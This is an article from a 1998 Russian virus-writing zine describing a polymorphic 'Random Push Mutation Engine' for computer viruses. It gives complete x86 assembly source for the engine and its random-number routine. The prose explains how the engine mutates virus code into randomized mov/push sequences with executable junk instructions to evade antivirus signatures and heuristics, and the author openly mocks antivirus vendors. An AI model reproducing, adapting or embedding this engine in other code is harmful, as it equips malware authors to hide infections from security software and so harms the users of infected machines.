[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998 file 00D
Random Push Mutation Engine
by RedArc
Навеяли на меня странные мысли всякие Push-технологии и захотелось
что-нибудь свое сварганить быстро и простенько. И действительно, всего лишь
через два часа работы получилась довольно красивая ангина RPME, но уж здорова
она получилась для реального использования... Хотя, все может быть...
Работает она очень и очень просто: ангине указывается буфер чтения и
буфер записи. Из буфера чтения считывается код, предназначенный для мутаций, а
в буфер записи пишется смутировавший код. В регистре cx передается размер
кода, который нужно смутировать, в этом же регистре возвращается размер
смутировавшего кода, записанного в буфер записи.
Мутации основаны на том, что из буфера чтения считывается очередное
слово, случайно выбирается один из шести регистров общего назначения (ax, bx,
cx, dx, si, di), и формируется код, типа:
mov Reg, Value
push Reg
Таким образом, единица мутаций слово (два байта), в то время, как в
нашумевших вирусах Ply единицей мутации являлись три байта. Кроме того, для
осложнения детектирования, генерируются мусорные команды, которые реально
выполняются! К таким мусорным командам относится, например:
mov Reg1, RND_Value
push Reg1
pop Reg2
или
test Reg1, Reg2
которые никак не влияют на процесс раскручивания вируса.
Достоинства:
довольно сложно собрать сигнатуру для детектирования, в то же время,
сигнатура образуется в стеке, но для этого необходимо эмулировать код. А кто
сказал вирусологам, что в качестве мусора нельзя использовать антиэвристику?
Самое главное достоинство этой ангины в ее простоте: простота написания,
модификации, тестирования и применения. Ну вот еще эвристики на вирусы не
ругаются... совсем не ругаются ;)
Недостатки:
ну вот этого здесь море. Во первых, хоть и по два байта, но все же
статический код присутствует. Во вторых, сигнатура образуется в стеке. В
третьих, байты восстановления вируса из стека и передачи управления
практически являются сигнатурой. В четвертых, размер смутировавшей копии
получается весьма внушительным.
Ну вот, собственно, и все что я имею рассказать по этому вопросу. Смотрите
сами, решайте сами - иметь или не иметь (в смысле, fuck to a-v_soft)...
=== Cut === RPME.INC
; Random Push Mutation Engine
; (c) by RedArc // TAVC
;------------------------------
; Main procedure RPME
;------------------------------
;Input:
; DS:SI - source code
; ES:DI - destion buffer
; CX - length to code
;Output:
; CX - new length
;Destroy:
; DI
RPME proc near
CO0:
push di
push ax
push bx
push cx
push dx
push si
cld
shr cx,1
jnc CheckOffs
inc cx
inc si
CheckOffs:
call CO1
OffsetBegEngine equ $-CO0
CO1:
pop bx
sub bx,OffsetBegEngine
Save_Reg:
push cx
push ds
push si
push bx
;*
Carbage_Create:
mov si,bx
mov bx,0deadh
call RND
push cs
pop ds
mov word ptr ds:[si+Carbage_offs],dx
xchg cx,dx
;*
Register_Case:
mov bx,5
call RND
;*
Generate_Mov_Reg:
pop si
xor ax,ax
push si
add si,dx
mov al,byte ptr ds:[si+Mov_offs]
;*
Save_Mov_Reg_Carbage:
stosb
xchg ax,cx
stosw
;*
Generate_Push_Reg_Carbage:
pop si
xor ax,ax
push si
add si,dx
mov al,byte ptr ds:[si+Push_offs]
;*
Save_Push_Reg_Carbage:
stosb
;*
call CarbEgaProc
;*
Register_Case_Crabage_Pop:
mov bx,5
call RND
;*
Generate_Pop_Reg:
pop si
xor ax,ax
push si
add si,dx
mov al,byte ptr ds:[si+Pop_offs]
;*
Save_Pop_Reg_Carbage:
stosb
;*
call CarbVgaProc
;*
Register_Case_Next:
mov bx,5
call RND
;*
Generate_Mov_Reg_Next:
pop si
xor ax,ax
push si
add si,dx
mov al,byte ptr ds:[si+Mov_offs]
xchg ax,cx
;*
Load_Reg:
pop bx
pop si
pop ds
;*
Generate_Mov_Reg_Word:
lodsw
xchg ax,cx
;*
Save_Reg_Next:
push ds
push si
push bx
push cs
pop ds
;*
Save_Mov_Reg_Next:
stosb
xchg ax,cx
stosw
;*
Generate_Push_Reg_Next:
pop si
xor ax,ax
push si
add si,dx
mov al,byte ptr ds:[si+Push_offs]
;*
Save_Push_Reg_Next:
stosb
;*
call CarbVgaProc
;*
Load_Reg_End:
pop bx
pop si
pop ds
pop cx
;*
Loop_ME:
loop Save_Reg
pop si
pop dx
pop cx
pop bx
pop ax
push di
pop cx
pop di
sub cx,di
ret
;--------------
Push_offs equ $-CO0
push_ax db 050h
push_bx db 053h
push_cx db 051h
push_dx db 052h
push_si db 056h
push_di db 057h
Mov_offs equ $-CO0
mov_ax db 0b8h
mov_bx db 0bbh
mov_cx db 0b9h
mov_dx db 0bah
mov_si db 0beh
mov_di db 0bfh
Pop_offs equ $-CO0
pop_ax db 058h
pop_bx db 05Bh
pop_cx db 059h
pop_dx db 05Ah
pop_si db 05Eh
pop_di db 05Fh
Carbage_offs equ $-CO0
carbage dw 0ffffh
InfoRPME db 'RPME v.01 by RedArc'
RPME endp
CarbEgaProc proc near
CEP0:
call CEP1
CEP1:
CEP1_offs equ $-CEP0
pop si
sub si,CEP1_offs
;*
CarbEga_Case_1:
mov bx,19
call RND
;*
Generate_CarbEga_1:
xchg ax,dx
mov dx,2
mul dl
add si,ax
mov ax,word ptr ds:[si+CarbEga_offs]
;*
Save_CarbEga_1:
xchg ah,al
stosw
ret
CarbEga_offs equ $-CEP0
dw 03c3h
dw 03d9h
dw 03cah
dw 03d6h
dw 03f7h
dw 8bc3h
dw 8bd9h
dw 8bcah
dw 8bf7h
dw 2bc3h
dw 2bd9h
dw 2bcah
dw 2bd6h
dw 2bf7h
dw 9390h
dw 9093h
dw 87d9h
dw 87cah
dw 87d6h
dw 87f7h
CarbEgaProc endp
CarbVgaProc proc near
CVP0:
call CVP1
CVP1:
CVP1_offs equ $-CVP0
pop si
sub si,CVP1_offs
;*
CarbVga_Case_1:
mov bx,9
call RND
;*
Generate_CarbVga_1:
xchg ax,dx
mov dx,2
mul dl
add si,ax
mov ax,word ptr ds:[si+CarbVga_offs]
;*
Save_CarbVga_1:
xchg ah,al
stosw
ret
CarbVga_offs equ $-CVP0
dw 85c3h
dw 85d9h
dw 85cah
dw 85d6h
dw 85f7h
dw 3bc3h
dw 3bd9h
dw 3bcah
dw 3bd6h
dw 3bf7h
CarbVgaProc endp
=== Cut ===
А вот этот кут отвечает за генерацию случайных чисел в заданном диапазоне.
Нагло идея сперта из публикации в Talks.Asm - лениво было думать самому, тем
более, что рандомайзов сейчас пруд-пруди...
=== Cut === RND.INC
; Random Push Mutation Engine
; (c) by RedArc // TAVC
;------------------------------
; Random procedure RPME
;------------------------------
;Input:
; BX - some max value
;Output:
; DX - rnd value [0..bx]
;Destroy:
; AX, BX, DX
Randomize proc near
RM0:
push si
call RM1
RM1:
RM_Offs equ $-RM0
pop si
sub si,RM_Offs
mov ax,word ptr cs:[si+r2]
mov byte ptr cs:[si+r1],al
add ah,al
mov al,byte ptr cs:[si+r3]
mov byte ptr cs:[si+r2],al
add al,ah
rol al,1
mov byte ptr cs:[si+r3],al
pop si
ret
r3 equ $-RM0
db 33
r2 equ $-RM0
db 98
r1 equ $-RM0
db 3
Randomize endp
RND proc near
inc bx
cmp bh,0
jnz RND0
xor dh,dh
RND0:
cmp bh,0
jz RND1
call Randomize
mov dh,al
RND1:
call Randomize
mov dl,al
cmp dx,bx
jnc RND0
ret
RND endp
=== Cut ===